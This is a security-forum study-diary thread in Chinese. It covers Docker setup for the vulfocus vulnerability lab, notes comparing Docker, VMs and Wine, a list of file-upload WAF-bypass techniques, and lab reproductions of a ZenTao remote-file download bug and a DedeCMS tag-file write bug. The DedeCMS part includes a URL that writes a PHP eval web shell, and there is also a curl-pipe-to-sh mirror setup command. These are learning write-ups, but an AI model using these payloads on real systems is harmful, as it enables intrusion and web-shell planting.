安全矩阵

 找回密码
 立即注册
搜索
查看: 14793|回复: 38

郑嘉源的学习日记

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-10-10 13:09:18 | 显示全部楼层 |阅读模式
本帖最后由 Grav1ty 于 2021-12-7 11:03 编辑

开贴日期:2021年10月10日
欢迎访问blog:grav1ty.cn
回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2021-10-10 13:12:52 | 显示全部楼层
回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2021-10-10 14:29:20 | 显示全部楼层
本帖最后由 Grav1ty 于 2022-5-11 12:56 编辑

Arch Linux安装笔记

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2021-10-10 14:32:29 | 显示全部楼层
本帖最后由 Grav1ty 于 2021-11-18 18:11 编辑

挽尊...我也不知道为什么加载不出来
回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2021-10-26 00:56:17 | 显示全部楼层
本帖最后由 Grav1ty 于 2021-11-18 18:20 编辑

新手Docker学习

惭愧,一直没更新(为了减轻内心的谴责,这几天一直有转发文章!!我可没偷懒不学习)
原因是这两周在搞自行车(不务正业),那车得有4年没骑了,各种零部件都得修,得换,我不愿推去修车店,全自己手动修..虽然麻烦,但我就比较爱折腾
再就是一直在熟悉新搞的linux,从小到大都用的win图形化界面,改linux太不习惯了,很多操作都得重新学习。

进入正题

最近弄好了事情就开始弄vulfocus了。虽然说,有在线的靶场,但我还是想自己搭建,折腾的过程也在学习吧,也就这样,有了这篇

首先安装就不说了,说些搭建的过程,前前后后有些细节比较重要:
  1. Docker pull [镜像名]
复制代码
其中还存在一个docker hub的东西,大家找的镜像名其实都是docker hub里面的公共镜像,有兴趣的还可以去用一些私有的镜像
(其实pull的时候还没感觉有很明显的速度慢的问题)
Pull下来之后就可以启动
  1. Systemctl start docker
复制代码
还可以添加自启动
  1. Systemctl enable docker
复制代码
之后就可以直接docker run,但是需要加一些参数,因为如果直接
  1. Docker run vulfocus/vulfocus
复制代码
环境能打开,但是里面会有问题:
比如:


像这样一直会报错,而且下载也会有问题,一是无法显示实时进度,二是我目前还不确定他能不能完整的下载下来,至少我还没成功过

这里附上docker run参数列表(完整可输入docker run –help查看):

语法
  1. docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
复制代码
OPTIONS说明:
· -a stdin: 指定标准输入输出内容类型,可选 STDIN/STDOUT/STDERR 三项;
· -d: 后台运行容器,并返回容器ID;
· -i: 以交互模式运行容器,通常与 -t 同时使用;
· -P: 随机端口映射,容器内部端口随机映射到主机的端口
· -p: 指定端口映射,格式为:主机(宿主)端口:容器端口
· -t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
· --name="nginx-lb": 为容器指定一个名称;
· --dns 8.8.8.8: 指定容器使用的DNS服务器,默认和宿主一致;
· --dns-search example.com: 指定容器DNS搜索域名,默认和宿主一致;
· -h "mars": 指定容器的hostname;
· -e username="ritchie": 设置环境变量;
· --env-file=[]: 从指定文件读入环境变量;
· --cpuset="0-2" or--cpuset="0,1,2": 绑定容器到指定CPU运行;
· -m :设置容器使用内存最大值;
· --net="bridge": 指定容器的网络连接类型,支持 bridge/host/none/container: 四种类型;
· --link=[]: 添加链接到另一个容器;
· --expose=[]: 开放一个端口或一组端口;
· --volume , -v: 绑定一个卷

还需要指出的是:
  1. Docker run=docker create+docker start
复制代码
其会自动生成一个容器并启动。

我们需要的命令是:
  1. docker run -d -p [需要映射的端口]:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=[本机IP] vulfocus/vulfocus
复制代码
这样操作之后就可以正常使用了:

正常的下载是可以实时显示进度的
(很慢很慢,这个之后再说)
拉取环境也没有问题:



添加完成后就可以在首页看到了:

之后每次启动直接打开创建好的容器就好了,就不要傻傻的还加那么多参数,记也记不住
  1. docker ps -a
复制代码


打开之后环境也能保持上次关闭时的配置
甚至还能继续下载上次没下载好的任务

然后就是下载环境贼慢,巨慢,甚至会卡死的问题。
其实vulfocus下载环境的过程就是从docker hub上下载所以只要提高了docker pull的速度,下载环境的速度自然也上来了


这就要给docker挂一个国内源了,有两个方法
  1. 方法一:修改或创建/etc/docker/daemon.json
复制代码
之后重启docker服务即可


方法二:直接复制命令:
  1. curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://f1361db2.m.daocloud.io\n
复制代码
这个就比较简单粗暴
同样需要重启docker服务
之后下载就非常快了

按照上面所说,vulfocus下载环境其实就是下载了一个新的镜像,然后通过部署实现在vulfocus这个容器里面也能打开那个环境的镜像而言
所以如果下次如果想要有针对性的做某个靶场的时候,可以直接在docker命令里面创建容器打开这个镜像,就不用vulfocus了:
比如我们这里打开一个已经下载好的某cms的环境:
直接访问给定的端口就行了:
这样简单方便很多。

Ok,以上就是可以基本满足正常使用vulfocus的所有docker命令了

再深入了解一点docker的常用命令:
  1. Docker ps:查看正在运行的容器

  2. Docker ps -a:查看所有容器,不论是否在运行

  3. Docker kill [容器名]:强行关闭容器

  4. Docker stop [容器名]:温柔的关闭容器

  5. Docker rm [容器名]:删除容器(需要容器已关闭,否则报错)

  6. Docker rm $(docker ps -a -p):删除所有容器

  7. Docker creat [参数]:创建容器

  8. Docker start [容器名]:启动容器

  9. Docker restart [容器名]:重新启动容器

  10. (现在也就明白docker run=docker creat+docker start是什么意思了)

  11. Docker commit [容器名] [新名字]:保存容器现有状态,并创建一个新的容器保存
复制代码
还有rename之类重命名的命令,就不细说了,具体可以翻看docker官方文档。


备注一下:容器名可以是名字,也可以是docker给他的随机名(也就是小写字母+数字组成的那串字符),也可以是随机名的前几个字符(到能区分别的容器的位数即可)


21.11.7更新:
  1. Docker exec -it [容器名] /bin/bash或者直接bash
复制代码
进入容器,可以查看容器内容

找到一个博客,里面记录的docker学习比我详细多了。
见贤思齐
https://yeasy.gitbook.io/docker_practice/
回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2021-10-26 01:02:37 | 显示全部楼层
本帖最后由 Grav1ty 于 2021-11-18 18:08 编辑

Docker学习2

Docker的特性:
区分好仓库,镜像,容器的区别
简单理解仓库就类似一种包管理器拉取软件源的地方,再通俗一点就是一个应用商店
镜像和容器就类似于虚拟机中的iso文件和已经创建好的虚拟机,镜像就是iso文件,容器就是创建好的虚拟机(从某个角度而言,dockervm ware虚拟机也挺像的,后面会细说)
其实在上文中,还有一个dockerimage [参数]命令没说,这个命令就是查看所有镜像,区别于docker ps [参数]命令,docker ps是查看所用开启的容器,docker images是查看所有的镜像

DockerVM warewine的区别
其实好奇这个问题挺久了,这三个东西都有共同点就是可以在不同环境上面运行一些软件。兴趣使然,就研究一下三者的区别。
三者中属docker和虚拟机的区别最难搞清楚,就先说这个:
先看两者运行的抽象图:
左边是vm ware虚拟机,右边是docker
仔细观察可以看出两者有个显著区别就是vm虚拟机多了一个hypervisorguest os,而docker则有一个docker engine引擎。那其实两者最大的区别已经很明了了:

Hypervisor是一个虚拟机监视器


可以把他理解为虚拟机的基础

Docker engine则是docker的基础,根据docker官方文档给出的解释:


其实这两者都不用管,主要是vm中有一个guest os,这个比较关键,它叫做客户系统,也就是虚拟机所模拟出来的各种虚拟机。
这一点也就是说明,虚拟机提供了操作系统层面的模拟,这也是为什么虚拟机在创建和设置的时候能指定提供多少运行内存和几核几个cpu,因为他在宿主机器操作系统的基础上创建虚拟层、虚拟化的操作系统、虚拟化的仓库,然后再安装应用。而docker则只是通过创建Docker引擎,直接在宿主主机的操作系统上调用硬件资源,而不是虚拟化操作系统和硬件资源。
这也是为什么说虚拟机比docker更加安全的原因,因为他隔离的更底层,更彻底。

而wine就比较简单了
其实稍微了解一点wine的英文名就知道了:Wine (“Wine Is Not an Emulator” 的缩写)
hhh第一次看到这个解释我确实笑了
他之所以能在linux环境运行windows的.exe应用是因为他运用API转换技术实做出Linux对应到Windows相对应的函数来调用DLL(动态链接库)以运行Windows程序。
也就是说他是纯软件调用,没有像docker和vm那样模拟或者隔离出什么环境出来。
更有意思的是wine完全基于LGPL发布,也就是完全开源。




回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2021-10-26 01:14:19 | 显示全部楼层
Grav1ty 发表于 2021-10-26 00:56
新手Docker学习
惭愧,一直没更新原因是这两周在搞自行车(不务正业),那车得有4年没骑了,各种零部件都得 ...

他咋老吞我代码呢..
回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2021-11-12 20:41:58 | 显示全部楼层
本帖最后由 Grav1ty 于 2021-11-12 20:45 编辑


常见绕过waf总结



1.换行



2.多个等于号

3.单双引号替换



4.去掉引号





5.溢出Content-Disposition字段

当然,可以多溢出一点:





6.多个Content-Disposition字段



7.畸形协议



8.boundary前加减空格



9.删除Content-Type: image/jpeg



10.溢出文件名



11.分块传输



12.(windows)文件命名规范绕过



利用windows不能包含: \ / : * < > | 等字符



13.(内容绕过)利用多个小于号写数据:



利用小于号,还可以这样绕过文件名检查:



14.(内容绕过)fopen写文件





参考文章:精彩的绕过waf

注:图均来自文章中,直接写进日记里,意借文章给自己做个总结和参考


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2021-11-12 20:48:37 | 显示全部楼层
双十一

本来想买点新鲜玩具

却发现...我好像不配



回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2021-11-18 18:01:34 | 显示全部楼层
记录两个cve

emm很早以前就想写了,一直拖到现在,拖延症真是越来越严重了
主要是感觉这两个cve很有意思,遂记录一下

1.CNVD-C-2020-121325
这个利用很简单,但是需要自己有一个公网服务器



后台路径还得自己找一下,不过不难:

需要登录

之后在自己的服务器上写一个文件,即需要上传的文件:

然后进过base64加密路径,HTTP大写

两种传递方法:

1)http://[目标地址]/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html


2)http:// [目标地址] /www/index.php?m=client&f=download&version=[$version参数]&link=[ base64加密后的恶意文件地址]

最终payload:



192.168.163.172:63233/zentaopms/www/index.php?m=client&f=download&version=1&link=SFRUUDovLzE5Mi4xNjguMTYzLjE3Mjo2MzIzMy96ZW50YW9wbXMvaW5mby5waHA=
上传成功





2.CNVD-2018-01221
这个源码分析参考:CNVD-2018-01221

先复现
条件都给好了:

直接登录就好
来到漏洞路径:

构造参数
192.168.163.172:14973/dede/tpl.php?action=savetagfile&token=d751030d70c713c3687a33b77b92e046&filename=abc.lib.php&content=<?php phpinfo();?>
上传成功:


访问:


再来分析:
自己搭环境有个好处就是可以随时随地查看源码:

节省时间,直接放上有问题的位置:
  1. else if($action=='savetagfile')
  2. {
  3.     csrf_check();
  4.     if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
  5.     {
  6.         ShowMsg('文件名不合法,不允许进行操作!', '-1');
  7.         exit();
  8.     }
  9.     require_once(DEDEINC.'/oxwindow.class.php');
  10.     $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
  11.     $content = stripslashes($content);
  12.     $truefile = DEDEINC.'/taglib/'.$filename;
  13.     $fp = fopen($truefile, 'w');
  14.     fwrite($fp, $content);
  15.     fclose($fp);
  16.     ...
  17.     exit();
  18. }
复制代码

----一步一步分析-----

action==savetagfile时进入函数


csrf_check():
  1. function csrf_check()
  2. {
  3.     global $token;

  4.     if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
  5.         echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
  6.         exit;
  7.     }
  8. }
复制代码
主要是check了一下token
没啥说的,往后看

定义了四个参数:

这四个参数,
第一个把filename过滤了一下
第二个调用了一个没见过的函数stripslashes()
查了一下没什么用

第三个作用是判断参数filename符不符合上述的匹配条件,不符合就不允许操作进行
再往后,就是写入文件

所以很显然没有对content做任何的限制,并且filename名可以以php结尾,并且给出了路径
三要素都齐了,构造好每个参数即可写入shell了:
  1. url/uploads/dede/tpl.php?action=savetagfile&token=[ 你的session值 ]&filename=1.lib.php&content=<?php eval($_POST['cmd']);?>
复制代码



附录

最近总想折腾一下硬件,觉得好有趣。不过快期末了...感觉再不学都要挂科...

而且...顶级玩具好贵...

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:58 , Processed in 0.119950 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表